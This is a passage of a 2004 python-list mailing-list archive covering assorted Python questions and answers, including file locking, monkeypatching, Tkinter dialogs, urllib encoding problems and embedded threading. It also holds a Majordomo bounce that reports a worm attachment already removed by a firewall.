   my_data = get_lock_info(my_name) + (my_name,)
   i = filedata.find(my_data)
   if i == 0:
     return None
   return filedata[i-1]

def pid_still_running(pid):
   try:
     os.kill(pid, 0)
   except OSError:
     return 0
   return 1

def getlock(my_lockfilename, sys_lockfilename):
   try:
     os.symlink(my_lockfilename, sys_lockfilename)
   except OSError:
     return False
   return True

def main():

   f=open(my_lockfilename, "w")
   f.close()

   try:
     if not getlock(my_lockfilename, sys_lockfilename):
       wait_info = get_next_earlier_info(basedir, my_lockfilename)

       if wait_info:
         wait_pid = wait_info[1]
         while pid_still_running(wait_pid):
           time.sleep(5)

     while not getlock(my_lockfilename, sys_lockfilename):
       time.sleep(5)
       # Could check if the process is still running
       # (use os.readlink() to get the filename pointed to
       # by the system lockfile) but it's tricky because of
       # the rare possibility that two processes are in this
       # loop.  I would need to put more thought into this
       # to figure out the exact ordering.

     try:
       ... do your work here ...
     finally:
       os.remove(sys_lockfilename)


   finally:
     os.remove(my_lockfilename)


				Andrew
				dalke at dalkescientific.com



From peter at engcorp.com  Tue Sep 14 21:08:42 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Sep 2004 21:08:42 -0400
Subject: How Can I overide a function in an existing class
In-Reply-To: <af86cbe6.0409141639.62ce53ad@posting.google.com>
References: <af86cbe6.0409141639.62ce53ad@posting.google.com>
Message-ID: <huCdnXpcC8yGC9rcRVn-sg@powergate.ca>

Eddie wrote:

> I have changed the BaseHTTPServer.py file to do what I want and
> included it in the directory with my service. This works, but there
> has to be a better way.
> 
> Is there some other way to override the function?

Often I've found it possible and relatively "clean" to write
code that modifies the class involved dynamically, often
just wrapping the existing method in another one that does
what I want (or undoes it, perhaps), or just by sticking
in a replacement.

Trivialized example that I hope gives you the idea:

# file BaseHTTPServer.py
class SomeClass:
    def someMethod(self):
        log_message(somemsg)  # undesirable call
        # other stuff that is good


# in your own file

import BaseHTTPServer
def replacementMethod(self):
     # only the good stuff

BaseHTTPServer.SomeClass.someMethod = replacementMethod

# followed by the rest of your existing code that
# actually instantiates a SomeClass, even if indirectly

Any help?

-Peter


From Joseph.V.Laughlin at boeing.com  Wed Sep 15 16:05:44 2004
From: Joseph.V.Laughlin at boeing.com (Joe Laughlin)
Date: Wed, 15 Sep 2004 20:05:44 GMT
Subject: function arguments
Message-ID: <I43MHJ.66G@news.boeing.com>

I want to do something like the following

def foo(list_of_args):
    call_other_function(arg1, arg2, arg3)
    # Where arg1 == "x", arg2 == "y", etc.
    # Should work with any list size

foo(["x", "y", "z"])

Make sense?  Need clarification?  In summary, I want to pass a list of
arguments to a function.  The function needs to pass each argument in the
list to a different function.

Thanks,
Joe




From peter at engcorp.com  Thu Sep 16 18:24:17 2004
From: peter at engcorp.com (phansen)
Date: Thu, 16 Sep 2004 18:24:17 -0400
Subject: what's the deal of "_" in Python?
In-Reply-To: <mailman.3416.1095372913.5135.python-list@python.org>
References: <mailman.3416.1095372913.5135.python-list@python.org>
Message-ID: <49idncYjAKcPj9fcRVn-og@powergate.ca>

Yun Mao wrote:
> Can someone give me some pointers to the related docs? Thanks.

It's a variable name.  See http://docs.python.org/ref/identifiers.html

If you were hoping of a more elaborate answer, please refer to
http://groups.google.ca/groups?threadm=2moucmFo8dpdU1%40uni-berlin.de
and also give just a *little* more detail in your next question,
so we don't have to mindread about which use of "_" you are
talking about.  It's used as a standalone variable name, as a
prefix in several different ways, sometimes as a substitute for
self, and so on.  Which do you mean?

-Peter


From in.aqua.scribis at nl.invalid  Tue Sep  7 15:43:02 2004
From: in.aqua.scribis at nl.invalid (Peter Kleiweg)
Date: Tue, 7 Sep 2004 21:43:02 +0200
Subject: unexplained behavior of tkMessageBox.askyesno
In-Reply-To: <Pine.LNX.4.44.0409072116420.1090-100000@kleigh.nl>
References: <Pine.LNX.4.44.0409072116420.1090-100000@kleigh.nl>
Message-ID: <Pine.LNX.4.44.0409072141110.1090-100000@kleigh.nl>

Peter Kleiweg schreef:

> from Tkinter import *
> import tkFileDialog
> import tkMessageBox
>
> def openProject():
>     filepath = tkFileDialog.askopenfilename(filetypes=(("project files","*.ini"), ("all","*")))
>     if filepath:
>         loadProject(filepath)
>
> def makeClean():
>     if tkMessageBox.askyesno('Make clean', 'Remove all files created by Make?'):
>         print 'yes'
>         # more code


I changed the code to this:

def makeClean():
    print tkMessageBox.askyesno('Make clean', 'Remove all files created by Make?')


If I have used openProject(), the function makeClean() always
prints 'False', no matter what I choose.


-- 
Peter Kleiweg  L:NL,af,da,de,en,ia,nds,no,sv,(fr,it)  S:NL,de,en,(da,ia)
info: http://www.let.rug.nl/~kleiweg/ls.html

The Halloween Documents: http://www.opensource.org/halloween/



From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Thu Sep  2 15:45:27 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.)
Date: Thu, 2 Sep 2004 21:45:27 +0200
Subject: Encoding problems
References: <mailman.2782.1094151426.5135.python-list@python.org>
Message-ID: <ch7t8s$tvq$1@news-reader4.wanadoo.fr>

Hi !


On W-XP / W2K, you can solve the problem with :
    - change the font of the console to "Lucida handwriter"
    - change your script to :

# -*- coding: cp1252 -*-

import os
ecran=os.popen('MODE CON: CP SELECT=1252').readlines()

s1 = 'n?z'
s2 = raw_input('Please type in "n?z":')
print repr(s1)
print repr(s2)



Note than you can force the console to  MODE CP = 1252, and del two lines or
the script.  Perso, I do it via an icon.



*sorry for my bad english*



@-salutations
-- 
Michel Claveau
m?l : http://cerbermail.com/?6J1TthIa8B




From smcg4191 at frii.RimoovThisToReply.com  Mon Sep 20 09:33:13 2004
From: smcg4191 at frii.RimoovThisToReply.com (Stuart McGraw)
Date: Mon, 20 Sep 2004 07:33:13 -0600
Subject: bad data from urllib when run from MS .bat file
References: <414cb56d$0$58900$75868355@news.frii.net>
	<cilp2b$l3k$0$216.39.172.122@theriver.com>
Message-ID: <414edc1b$0$58892$75868355@news.frii.net>

"Bengt Richter" <bokr at oz.net> wrote in message news:cilp2b$l3k$0$216.39.172.122 at theriver.com...
> On Sat, 18 Sep 2004 16:23:40 -0600, "Stuart McGraw" <smcg4191 at frii.RimoovThisToReply.com> wrote:
> 
> >I just spent a $*#@!*&^&% hour registering at ^$#@#%^ 
> >Sourceforce and trying to submit a Python bug report
> >but it still won't let me.  I give up.  Maybe someone who 
> >cares will see this post, or maybe it will save time for 
> >someone else who runs into this problem...
> >
> >================================================
> >
> >Environment:
> >- Microsoft Windows 2000 Pro
> >- Python 2.3.4
> >- urllib (version shipped with Python-2.3.4)
> >
> >Problem: 
> > urllib returns corrupted data when reading an EUC-JP encoded 
> > web page, from a python script run from a MS Windows .BAT 
> >file, but not when the same script is run from the command line.
> Just a thought: in case your command line is being interpreted
> by cmd.exe and .bat by something else (command.com?) you could
> check if it makes a difference, e.g.,
> 
> copy test.bat test.cmd
> 
> and try it again? (explicitly as test.cmd, not just test, since any
> same-name .com or .exe or .bat may have priority over .cmd)
> You can probably investigate the latter by something like
> 
>  [21:54] C:\pywk\junk>echo %pathext%
>  .COM;.EXE;.BAT;.CMD

Well, I'm pretty sure cmd.exe was executing it, but I tried your
suggestion to make absolutely sure.  Same results :-(
Given the other (seeming) urllib problem I mentioned in another
post in this thread, which appeared without any involvement
of batch scripts, I am getting more and more suspicious that
urllib is buggy, at least with non-single byte data.



From graeme.matthew at contrado.com.au  Thu Sep  9 06:19:33 2004
From: graeme.matthew at contrado.com.au (Graeme Matthew)
Date: Thu, 9 Sep 2004 20:19:33 +1000
Subject: xpath and python
References: <chp6lo$qr6$1@ucsnew1.ncl.ac.uk>
Message-ID: <41402e3c$0$22802$5a62ac22@per-qv1-newsreader-01.iinet.net.au>

Im sure the wrapper for xerces / xalan supports this.

http://pirxx.sourceforge.net/
"C Gillespie" <csgcsg39 at hotmail.com> wrote in message 
news:chp6lo$qr6$1 at ucsnew1.ncl.ac.uk...
> Dear All,
>
> Does anyone know if there is a python library that accepts xpath 
> constructs?
>
> Thanks for any help
>
> Colin
>
> 




From Majordomo at lists.tislabs.com  Tue Sep 14 11:12:15 2004
From: Majordomo at lists.tislabs.com (Majordomo at lists.tislabs.com)
Date: Tue, 14 Sep 2004 11:12:15 -0400 (EDT)
Subject: Majordomo results: Re: Here
Message-ID: <200409141512.i8EFCFW04158@lists.tislabs.com>

--

>>>> This is a multi-part message in MIME format.
**** Command 'this' not recognized.
>>>> 
>>>> ------=_NextPart_000_0001_00004F35.00001EBA
**** Command '------=_nextpart_000_0001_00004f35.00001eba' not recognized.
>>>> Content-Type: text/plain;
**** Command 'content-type:' not recognized.
>>>> 	charset="Windows-1252"
**** Command 'charset="windows-1252"' not recognized.
>>>> Content-Transfer-Encoding: 7bit
**** Command 'content-transfer-encoding:' not recognized.
>>>> 
>>>> See the attached file for details.
**** Command 'see' not recognized.
>>>> 
>>>> ------=_NextPart_000_0001_00004F35.00001EBA
**** Command '------=_nextpart_000_0001_00004f35.00001eba' not recognized.
>>>> Content-Type: text/html;
**** Command 'content-type:' not recognized.
>>>>    name="yours.pif.htm"
**** Command 'name="yours.pif.htm"' not recognized.
>>>> Content-Transfer-Encoding: 7bit
**** Command 'content-transfer-encoding:' not recognized.
>>>> Content-Disposition: attachment;
**** Command 'content-disposition:' not recognized.
>>>>     filename="yours.pif.htm"
**** Command 'filename="yours.pif.htm"' not recognized.
>>>> X-NAI-Gauntlet: Attachment removed
**** Command 'x-nai-gauntlet:' not recognized.
>>>> 
>>>> <html><head><meta HTTP-EQUIV="Content-Type" content="text/html; charset=">
**** Command '<html><head><meta' not recognized.
>>>> <title>VIRUS INFECTION ALERT</title></head>
**** Command '<title>virus' not recognized.
>>>> <body>
**** Command '<body>' not recognized.
>>>> <h1><font color="#FF0000">VIRUS INFECTION ALERT</font></h1>
**** Command '<h1><font' not recognized.
>>>> <p>The Gauntlet Firewall&reg discovered a virus in this file.
**** Command '<p>the' not recognized.
>>>> The file was not repaired and has therefore been removed.
**** Command 'the' not recognized.
>>>> See your system administrator for further information.
**** Command 'see' not recognized.
>>>> </p>
**** Command '</p>' not recognized.
>>>> <p>Filename: yours.pif<br>
**** Command '<p>filename:' not recognized.
>>>> Virus name: W32/Netsky.d at MM</p>
**** Command 'virus' not recognized.
>>>> 
>>>> <p>Copyright &copy; 1993-2001, Networks Associates Technology, Inc.<br>
**** Command '<p>copyright' not recognized.
>>>>  All Rights Reserved.<br>
**** Command 'all' not recognized.
>>>> <a href="http://www.pgp.com">http://www.pgp.com</a></p>
**** Command '<a' not recognized.
>>>>   </body></html>
**** Command '</body></html>' not recognized.
>>>> 
>>>> 
>>>> ------=_NextPart_000_0001_00004F35.00001EBA--
**** Command '------=_nextpart_000_0001_00004f35.00001eba--' not recognized.
>>>> 
>>>> 
**** No valid commands found.
**** Commands must be in message BODY, not in HEADER.

**** Help for Majordomo at lists.tislabs.com:


This help message is being sent to you from the Majordomo mailing list
management system at Majordomo at lists.tislabs.com.

This is version 1.94.4 of Majordomo.

If you're familiar with mail servers, an advanced user's summary of
Majordomo's commands appears at the end of this message.

Majordomo is an automated system which allows users to subscribe
and unsubscribe to mailing lists, and to retrieve files from list
archives.

You can interact with the Majordomo software by sending it commands
in the body of mail messages addressed to "Majordomo at lists.tislabs.com".
Please do not put your commands on the subject line; Majordomo does
not process commands in the subject line.

You may put multiple Majordomo commands in the same mail message.
Put each command on a line by itself.

If you use a "signature block" at the end of your mail, Majordomo may
mistakenly believe each line of your message is a command; you will
then receive spurious error messages.  To keep this from happening,
either put a line starting with a hyphen ("-") before your signature,
or put a line with just the word

	end

on it in the same place.  This will stop the Majordomo software from
processing your signature as bad commands.

Here are some of the things you can do using Majordomo:

I.	FINDING OUT WHICH LISTS ARE ON THIS SYSTEM

To get a list of publicly-available mailing lists on this system, put the
following line in the body of your mail message to Majordomo at lists.tislabs.com:

	lists

Each line will contain the name of a mailing list and a brief description
of the list.

To get more information about a particular list, use the "info" command,
supplying the name of the list.  For example, if the name of the list 
about which you wish information is "demo-list", you would put the line

	info demo-list

in the body of the mail message.

II.	SUBSCRIBING TO A LIST

Once you've determined that you wish to subscribe to one or more lists on
this system, you can send commands to Majordomo to have it add you to the
list, so you can begin receiving mailings.

To receive list mail at the address from which you're sending your mail,
simply say "subscribe" followed by the list's name:

	subscribe demo-list

If for some reason you wish to have the mailings go to a different address
(a friend's address, a specific other system on which you have an account,
or an address which is more correct than the one that automatically appears 
in the "From:" header on the mail you send), you would add that address to
the command.  For instance, if you're sending a request from your work
account, but wish to receive "demo-list" mail at your personal account
(for which we will use "jqpublic at my-isp.com" as an example), you'd put
the line

	subscribe demo-list jqpublic at my-isp.com

in the mail message body.

Based on configuration decisions made by the list owners, you may be added 
to the mailing list automatically.  You may also receive notification
that an authorization key is required for subscription.  Another message
will be sent to the address to be subscribed (which may or may not be the
same as yours) containing the key, and directing the user to send a
command found in that message back to Majordomo at lists.tislabs.com.  (This can be
a bit of extra hassle, but it helps keep you from being swamped in extra
email by someone who forged requests from your address.)  You may also
get a message that your subscription is being forwarded to the list owner
for approval; some lists have waiting lists, or policies about who may
subscribe.  If your request is forwarded for approval, the list owner
should contact you soon after your request.

Upon subscribing, you should receive an introductory message, containing
list policies and features.  Save this message for future reference; it
will also contain exact directions for unsubscribing.  If you lose the
intro mail and would like another copy of the policies, send this message
to Majordomo at lists.tislabs.com:

	intro demo-list

(substituting, of course, the real name of your list for "demo-list").

III.	UNSUBSCRIBING FROM MAILING LISTS

Your original intro message contains the exact command which should be
used to remove your address from the list.  However, in most cases, you
may simply send the command "unsubscribe" followed by the list name:

	unsubscribe demo-list

(This command may fail if your provider has changed the way your
address is shown in your mail.)

To remove an address other than the one from which you're sending
the request, give that address in the command:

	unsubscribe demo-list jqpublic at my-isp.com

In either of these cases, you can tell Majordomo at lists.tislabs.com to remove
the address in question from all lists on this server by using "*"
in place of the list name:

	unsubscribe *
	unsubscribe * jqpublic at my-isp.com

IV.	FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED

To find the lists to which your address is subscribed, send this command
in the body of a mail message to Majordomo at lists.tislabs.com:

	which

You can look for other addresses, or parts of an address, by specifying
the text for which Majordomo should search.  For instance, to find which
users at my-isp.com are subscribed to which lists, you might send the
command

	which my-isp.com

Note that many list owners completely or fully disable the "which"
command, considering it a privacy violation.

V.	FINDING OUT WHO'S SUBSCRIBED TO A LIST

To get a list of the addresses on a particular list, you may use the
"who" command, followed by the name of the list:

	who demo-list

Note that many list owners allow only a list's subscribers to use the
"who" command, or disable it completely, believing it to be a privacy
violation.

VI.	RETRIEVING FILES FROM A LIST'S ARCHIVES

Many list owners keep archives of files associated with a list.  These
may include:
- back issues of the list
- help files, user profiles, and other documents associated with the list
- daily, monthly, or yearly archives for the list

To find out if a list has any files associated with it, use the "index"
command:

	index demo-list

If you see files in which you're interested, you may retrieve them by
using the "get" command and specifying the list name and archive filename.
For instance, to retrieve the files called "profile.form" (presumably a
form to fill out with your profile) and "demo-list.9611" (presumably the
messages posted to the list in November 1996), you would put the lines

	get demo-list profile.form
	get demo-list demo-list.9611

in your mail to Majordomo at lists.tislabs.com.

VII.	GETTING MORE HELP

To contact a human site manager, send mail to Majordomo-Owner at lists.tislabs.com.
To contact the owner of a specific list, send mail to that list's
approval address, which is formed by adding "-approval" to the user-name
portion of the list's address.  For instance, to contact the list owner
for demo-list at lists.tislabs.com, you would send mail to demo-list-approval at lists.tislabs.com.

To get another copy of this help message, send mail to Majordomo at lists.tislabs.com
with a line saying

	help

in the message body.

VIII.	COMMAND SUMMARY FOR ADVANCED USERS

In the description below items contained in []'s are optional. When
providing the item, do not include the []'s around it.  Items in angle
brackets, such as <address>, are meta-symbols that should be replaced
by appropriate text without the angle brackets.

It understands the following commands:

    subscribe <list> [<address>]
	Subscribe yourself (or <address> if specified) to the named <list>.
	
    unsubscribe <list> [<address>]
	Unsubscribe yourself (or <address> if specified) from the named <list>.
	"unsubscribe *" will remove you (or <address>) from all lists.  This
	_may not_ work if you have subscribed using multiple addresses.

    get <list> <filename>
        Get a file related to <list>.

    index <list>
        Return an index of files you can "get" for <list>.

    which [<address>]
	Find out which lists you (or <address> if specified) are on.

    who <list>
	Find out who is on the named <list>.

    info <list>
	Retrieve the general introductory information for the named <list>.

    intro <list>
	Retrieve the introductory message sent to new users.  Non-subscribers
	may not be able to retrieve this.

    lists
	Show the lists served by this Majordomo server.

    help
	Retrieve this message.

    end
	Stop processing commands (useful if your mailer adds a signature).

Commands should be sent in the body of an email message to
"Majordomo at lists.tislabs.com". Multiple commands can be processed provided
each occurs on a separate line.

Commands in the "Subject:" line are NOT processed.

If you have any questions or problems, please contact
"Majordomo-Owner at lists.tislabs.com".



From ville at spammers.com  Thu Sep 30 13:55:32 2004
From: ville at spammers.com (Ville Vainio)
Date: 30 Sep 2004 20:55:32 +0300
Subject: Calling (C)Python code from Java: Is it JPype?
References: <cjeem1$5h9$1@newshispeed.ch>
	<1DI6d.223$j5.307837@weber.videotron.net>
	<cjg70t$gun$1@newshispeed.ch>
Message-ID: <du7wtybod4b.fsf@lehtori.cc.tut.fi>

>>>>> "f.geiger" == F GEIGER <f.geiger at vol.at> writes:


    f.geiger> GUI in a compiled lang, the gist in Python. If so, I'll give it a try.

Why GUI in compiled lang? Typically the time in a GUI is spent in a
GUI library, which is native code.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From jerf at jerf.org  Tue Sep 21 14:45:45 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Tue, 21 Sep 2004 18:45:45 GMT
Subject: Python 3.0, rich comparisons and sorting order
References: <864d370904092109509df67ee@mail.gmail.com>
	<loom.20040921T192348-961@post.gmane.org>
	<20040921173455.GB2891@unununium.org>
	<mailman.3661.1095788560.5135.python-list@python.org>
Message-ID: <pan.2004.09.22.18.02.19.310499@jerf.org>

On Tue, 21 Sep 2004 17:42:35 +0000, Steven Bethard wrote:
> Is there a good use case for binary trees with incompatible types at the nodes?

See the ZODB's BTree-based storage.



From jepler at unpythonic.net  Thu Sep  9 09:21:58 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Thu, 9 Sep 2004 08:21:58 -0500
Subject: Machine identification
In-Reply-To: <16703.31801.534210.542247@montanaro.dyndns.org>
References: <01f101c495cd$a786cc40$054b12ac@D18SYX41>
	<mailman.3050.1094666837.5135.python-list@python.org>
	<O2I%c.17391$4D1.12711@newssvr27.news.prodigy.com>
	<20040908205301.GD19306@unpythonic.net>
	<16703.31801.534210.542247@montanaro.dyndns.org>
Message-ID: <20040909132157.GE19306@unpythonic.net>

I feel compelled to point out that having the IP address in the (250)
response to HELO is not a requirement, and the example I found in
RFC821 didn't have it (and neither did the EHLO examples in 2821):
         R: 220 BBN-UNIX.ARPA Simple Mail Transfer Service Ready
         S: HELO USC-ISIF.ARPA
         R: 250 BBN-UNIX.ARPA
That said, this is a pretty cute idea given that a generous fraction of
SMTP servers do seem to include the IP address in the response to HELO.

Jeff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040909/bda70160/attachment.sig>

From rogerb at rogerbinns.com  Sat Sep 25 17:06:57 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Sat, 25 Sep 2004 14:06:57 -0700
Subject: Wrapping Python ?
References: <INWdnakjH77cbcncRVn-ig@comcast.com>
	<g_GdnVVeza2_Z8ncRVn-sg@powergate.ca>
	<YImdncwyArIjXcjcRVn-og@comcast.com>
Message-ID: <ol3h22-ilt.ln1@home.rogerbinns.com>

USCode wrote:
> subdirectory. From the Starkit website - "A Starkit creates the
> illusion of a "file system in a file" - on the outside, it's a single
> file, yet the application code continues to see a complete directory
> of scripts, extensions, packages, images, and whatever other files it
> needs."

So what is done about shared libraries?  Python includes a number of
shared libraries (dll/so), several of which can end up being needed, even
by relatively simple apps.  On Windows, the Python interpretter itself
is a shared library (python23.dll).  For a more non-trivial app such
as my BitPim program, there are 45 libraries that end up needing to be
packaged.  (A lot of this is because it is common practise to split
larger packages such as wxPython and win32all into numerous independent
sub-libraries).

py2exe and tools like that (eg cx-Freeze) do package everything into
one file, except the shared libraries are left as seperate files,
and user files are as well (since you have to have seperate files
anyway for the libraries).

The problem with shared libraries is that they have to be seperate
files for the OS to load them properly.  One variant of the McMillan
installer effectively extracted them at run time, but that introduces
a whole host of problems such as the user needing write permission to
the filesystem, security (eg a shared /tmp), and that the libraries
may not end up being shared between processes (due to being extracted
to different locations for security reasons).

I tried the demo (Fractal Mountains) and can't see how it deals with
the shared library issue.

Roger





From news at woody.datatailors.com  Wed Sep 15 16:20:00 2004
From: news at woody.datatailors.com (Peter van Kampen)
Date: Wed, 15 Sep 2004 22:20:00 +0200
Subject: mod_python authenhandler example
References: <mailman.3381.1095279486.5135.python-list@python.org>
Message-ID: <slrnckh8vg.1le.news@woody.datatailors.com>

In article <mailman.3381.1095279486.5135.python-list at python.org>, Golawala, Moiz M (GE Infrastructure) wrote:
> Hi All, 
> 
> I am new to mod_python. I installed it yesterday and was trying out the
> mod_python authenhandler example in the documentation. When I typed in the
> url to go to a web page, sure enough a modpython asked me for the username
> and password and I was in. However when I close and reopen the browser and
> go to the url, I get in without authentication. If I change the expected
> password in the code and reload the page, I am asked for the username and
> password. But once in, I am never authenticated again no matter how often I
> reload the page or even restart the browser.
>
> I don't know if there is a browser setting in mozilla that is
> remembering the password and username and not authenticating me again. I
> deleted all the cookies, passwords, and history and it still wont work. Does
> anyone have a clue as to what is happening.

Try restarting apache (and therefor mod_python) when you encounter this
problem. My guess it that you'll be asked to authenticate again. If so post
your code to make it easy to spot the problem. (I guess the result is
somehow cached).

Hth,

PterK

-- 
Peter van Kampen
pterk -- at -- datatailors.com


From my.news.groups at noos.fr  Thu Sep 16 03:52:45 2004
From: my.news.groups at noos.fr (nik)
Date: Thu, 16 Sep 2004 09:52:45 +0200
Subject: Embedded python with threads
In-Reply-To: <41486865$0$26393$79c14f64@nan-newsreader-06.noos.net>
References: <41486865$0$26393$79c14f64@nan-newsreader-06.noos.net>
Message-ID: <4149463f$0$12198$79c14f64@nan-newsreader-07.noos.net>

nik wrote:
> hi,
> 
> I have a C++ app that loads a python module and calls a function from 
> it. The call is getting the contents of a list that's global in that 
> module.
> 
> However, I'd like the python script to be also running a thread that 
> fills that global list, but can't figure out how to do it. Essentially 
> the code looks like;
> 
> in the C++ app;
> 
> ////
> Py_Initialize();
> 
> // PyImport_ImportModule blocks until the myModule script has run
> // through...
> PyObject* module = PyImport_ImportModule("myModule");
> 
> PyObject* function = PyObject_GetAttrString(module, "GetList");
> while(1) {
>     PyObject* pyList = PyObject_CallFunction(function, "");
>     // use the stuff in pyList
>     sleep(15);
>     }
> ////
> 
> and in the myModule.py;
> 
> ####
> import thread
> import time
> orderListLock = thread.allocate_lock()
> 
> pyList = []
> 
> def GetList():
>     global pyList
>     tmpList = []
>     orderListLock.acquire()
>     tmpList = pyList
>     orderListLock.release()
>     return tmpList
> 
> def keepFillingListThread():
>     global pyList
>     while 1:
>         orderListLock.acquire()
>         pyList.append(somestuff)
>         orderListLock.release()
>         time.sleep(5)
> 
> # the following statement happens when the C++ app imports the module,
> # but the thread only lives as long the main python thread (which is
> # over straight away on my linux PC)
> 
> thread.start_new_thread(keepFillingListThread, ())
> 
> ####
> 
> Has anyone any ideas?
> 
> thanks,
> nik

Hi again,

I think I'm one step further. I've put the 
thread.start_new_thread(keepFillingListThread, ()) command into its own 
function, like

def startThreads():
	thread.start_new_thread(keepFillingListThread, ())
	while 1:
		pass

and then in the C++ part, I've used boost::thread to create a thread to 
call startThreads like;

void myBoostThread::operator () ()
{
	PyObject* function = PyObject_GetAttrString(m_cfg.module, "createThreads");
	PyObject* result = PyObject_CallFunction(function, "");
}

// after the PyObject* module = PyImport_ImportModule("myModule"); line 
from above:
myBoostThreadParams params;
params.module = module;
myBoostThread mythread(params);
boost::thread theThread(mythread);

this seems to work (at least, the python threads stay alive), but it 
rapidly crashes out with

Fatal Python error: ceval: tstate mix-up
Aborted

as soon as I call the function GetList above.

Can anyone help me?

thanks


From aleaxit at yahoo.com  Mon Sep 20 03:02:32 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 20 Sep 2004 09:02:32 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3534.1095656825.5135.python-list@python.org>
	<GTu3d.5381$gG4.3487@newsread1.news.pas.earthlink.net>
Message-ID: <1gkem8x.118fvg1hyfl0bN%aleaxit@yahoo.com>

Andrew Dalke <adalke at mindspring.com> wrote:

> Uncle Tim:
> > That's absurd.  pi is 3
> 
> Personally I've found that pie is usually round, though
> if you're talking price I agree -- I can usually get a
> slice for about $3, more like $3.14 with tax.  I like
> mine apple, with a bit of ice cream.
> 
> Strange spelling though.

Yeah, everybody knows it's spelled "py"!


Alex


From tonino.greco at gmail.com  Thu Sep  9 03:27:38 2004
From: tonino.greco at gmail.com (tag)
Date: 9 Sep 2004 00:27:38 -0700
Subject: excel formula parseing ??
Message-ID: <5db3bf00.0409082327.ac74fad@posting.google.com>

Hi,

I have a problem in that I need to be able to parse excel formula's
and evaluate them to get results.  Python is very well suited for this
as it has WONDERFUL data handling capabilities.

My question is : Is there an excel formula parser out there?
and

if not - does anyone have an idea on where to start ?

THANKS :)


From carl.scharenberg at gmail.com  Tue Sep  7 17:32:44 2004
From: carl.scharenberg at gmail.com (Carl Scharenberg)
Date: 7 Sep 2004 14:32:44 -0700
Subject: YOU ALL SUCK!
References: <1bf5bcb9.15695836@aol.com>
	<Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4>
	<chctqv$e50$0$216.39.172.122@theriver.com>
	<4139FCDA.8020601@jessikat.fsnet.co.uk>
	<chdahm$sdp$0$216.39.172.122@theriver.com>
	<chdicb$ots$0$216.39.172.122@theriver.com>
	<DWf%c.1510$%N6.1056@trndny01>
Message-ID: <e930c085.0409071332.4819fde1@posting.google.com>

This thread has become useful! (not to mention whimsical). Thanks for the program.

Carl


"Raymond Hettinger" <vze4rx4y at verizon.net> wrote in message news:<DWf%c.1510$%N6.1056 at trndny01>...
> > I was curious, so I googled for "CHOMSKY is an aid to writing linguistic
>  papers in the style"
> > and found the lisp source:
> >
> >     http://www-personal.umich.edu/~jlawler/foggy.lsp
> 
> For those who are interested, here is the engine translated into Python (use the
> original url to capture the part lists or roll your own):
> 
> import textwrap, random
> 
> def format_wisdom(text):
>     return textwrap.fill(text, line_length)
> 
> def chomskey(times = 1):
>     if not isinstance(times, int):
>         return format_wisdom(__doc__)
>     prevparts = []
>     newparts = []
>     output = []
>     for i in xrange(times):
>         for partlist in (leadins, subjects, verbs, objects):
>             while 1:
>                 part = random.choice(partlist)
>                 if part not in prevparts:
>                     break
>             newparts.append(part)
>         output.append(' '.join(newparts))
>         prevparts = newparts
>         newparts = []
>     return format_wisdom('  '.join(output))
> 
> print chomskey(5)
> 
> 
> 
> Raymond Hettinger


From aleaxit at yahoo.com  Sun Sep 19 13:51:48 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 19 Sep 2004 19:51:48 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<1gkdg6v.beghga12wpi7qN%aleaxit@yahoo.com>
	<mailman.3509.1095614185.5135.python-list@python.org>
Message-ID: <1gkdle9.tyshvyi6m02qN%aleaxit@yahoo.com>

Gary Herron <gherron at islandtraining.com> wrote:

> A nice thoughtful answer Alex, but possibly wasted, as it's been
> suggested that he is just a troll.  (Note his asssertion that Pi=22/7
> in one post and the assertion that it is just a common approximation
> in another, and this in a thread about numeric imprecision.)

If he's not a troll, he _should_ be -- it's just too sad to consider the
possibility that somebody is really that ignorant and arrogant at the
same time (although, tragically, human nature is such as to make that
entirely possible).  Nevertheless, newsgroups and mailing lists have an
interesting characteristic: no "thoughtful answer" need ever be truly
wasted, even if the person you're answering is not just a troll, but a
robotized one, _because there are other readers_ which may find
interest, amusement, or both, in that answer.  On a newsgroup, or
very-large-audience mailing list, one doesn't really write just for the
person you're nominally answering, but for the public at large.


Alex


From jjreavis at gmail.com  Wed Sep  1 18:52:14 2004
From: jjreavis at gmail.com (Jeff  Reavis)
Date: 1 Sep 2004 15:52:14 -0700
Subject: Basic tokenizer
In-Reply-To: <Xns95578D624E7ADdaleriverhallsystems@192.168.8.150>
Message-ID: <ch5jqu$tqj@odah37.prod.google.com>

Have you tried the shlex module?
http://docs.python.org/lib/module-shlex.html

-jjr



From aleaxit at yahoo.com  Thu Sep 16 02:52:28 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 16 Sep 2004 08:52:28 +0200
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
	<m3pt4nwa84.fsf@g2ctech.com>
	<1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com>
	<mailman.3388.1095291463.5135.python-list@python.org>
Message-ID: <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com>

